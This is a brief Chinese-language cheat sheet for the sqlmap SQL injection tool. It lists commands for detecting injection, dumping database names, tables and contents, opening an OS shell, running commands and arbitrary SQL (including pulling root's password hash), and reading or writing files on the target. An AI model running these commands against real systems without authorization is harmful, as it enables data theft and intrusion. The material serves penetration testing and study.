sqlmap介绍
sqlmap是一款自动化得sql注入工具,主要功能扫描判断是否存在sql注入漏洞,发现并利用给定得url得sql注入漏洞
get注入
sqlmap.py -u “url” 检测
sqlmap.py -u “url” --dbs 爆出数据库名
sqlmap.py -u “url” --tables -D “数据库名” 爆表
sqlmap.py -u “url” --columns -T “表名” -D “数据库名” 爆字段
sqlmap.py -u “url” --dump -T “表名” -D “数据库名” -C “字段名” 爆出里面的内容
检测级别
–level 测试等级(1-5),默认为1
属性头注入
–referer sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或3以上的时候会尝试对referer注入
–headers
sqlmap*优先指定检测注入
执行命令
sqlmap.py -u “url” --os-shell#系统交互shell
sqlmap.py -u “url” --os-cmd=ipconfig
自定义请求包注入
-r 参数
注入的选择
参数:–technique
这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式。
支持的探测方式如下:
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可语句查询注入)
T: Time-based blind SQL injection(基于多时间延迟注入)
其他
–proxy “http://127.0.0.1:8080″ #代理
–threads #采用多线程(–threads 3)
–sql-query #执行指定的sql语句(–sql-query “SELECT password FROM mysql.user WHERE user = ‘root’ LIMIT 0, 1″ )
–file-read #读取指定文件
–file-write #写入本地文件(–file-write /test/test.txt –file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)
–dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)